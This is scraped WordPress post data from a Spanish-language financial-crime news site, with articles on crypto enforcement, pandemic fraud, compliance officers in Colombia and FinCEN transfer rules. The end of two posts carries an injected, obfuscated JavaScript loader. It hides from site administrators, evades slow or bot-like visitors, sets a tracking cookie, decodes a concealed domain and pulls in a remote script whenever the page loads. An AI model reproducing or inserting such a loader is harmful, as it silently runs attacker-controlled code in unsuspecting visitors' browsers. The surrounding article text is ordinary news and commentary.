\/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 